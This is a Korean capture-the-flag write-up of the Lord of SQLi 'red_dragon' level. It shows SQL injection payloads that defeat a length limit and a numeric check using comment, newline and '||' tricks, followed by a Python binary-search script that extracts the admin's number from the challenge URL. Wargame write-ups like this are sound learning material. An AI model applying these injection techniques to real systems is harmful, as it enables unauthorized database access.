red_dragon

이번 문제는 id 파라미터 입력 길이 제한이 걸려있다. 문자열 필터링은 이전 문제들보다 널널하다.


id 파라미터에는 7개의 문자 사용이 최대이기 때문에 이보다 더 긴 값은 사용할 수 없다.
이제 no 파라미터에 임의의 값을 삽입해야 하는데, is_numeric 함수 때문에 그냥 문자열은 입력해도 의미가 없다.
만약에 no 파라미터에 원하는 값을 입력할 수 있다면 어떻게 공격을 시도해 볼 수 있을까?
음.. 20. dragon 문제처럼 개행 문자를 이용해서 한 줄 주석에서 탈출을 시키면 될 것 같다.

(공격 페이로드 - 보기 편하게) ?id=' OR 1#
(공격 페이로드) ?id=%27%20OR%20%1%23


id 파라미터 입력 값을 조금 바꿔서 no 값의 범위도 지정해보자.
OR 문자를 사용하면 앞 뒤 공백이 필요하지만 ”||” 문자를 대신 사용하면 공백을 사용하지 않아도 인식된다.
주석(#) 뒤에 오는 값은 값이 무시되기 때문에 20. dragon 문제 풀이와 동일하게 개행 문자(%0A)로 이 부분을 우회했다.

(공격 페이로드) ?id='||no>%23&no=%0A100000


확인결과 adminno 컬럼 값은 대충 ( 580000000 ~ 590000000 ) 사이에 존재했다.
이걸 하나씩 다 테스트 해볼 수도 있겠지만 그렇게 하면 나는 늙어 죽을 것 같ㄴ다..
이전 풀이에서 사용한 이진 탐색 코드를 개량해서 문제 풀이를 진행해보자

import requests
 
t_url = 'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
 
low = 580000000
high = 590000000
 
while low <= high:
    mid = (low + high) // 2
    print(low, mid, high)
    payload = ( f"?id=%27||no%3E%23&no=%0A{mid}" )
    r = requests.get(t_url + payload, cookies=cookie)
 
    if "Hello admin" in r.text:
        low = mid + 1
    else:
        high = mid - 1
 
    if low > high:
        print(f"[+] DB → admin's no value : {high + 1}")
        break

문제 풀이 성공.

🐛.. 🐛.. 🐛..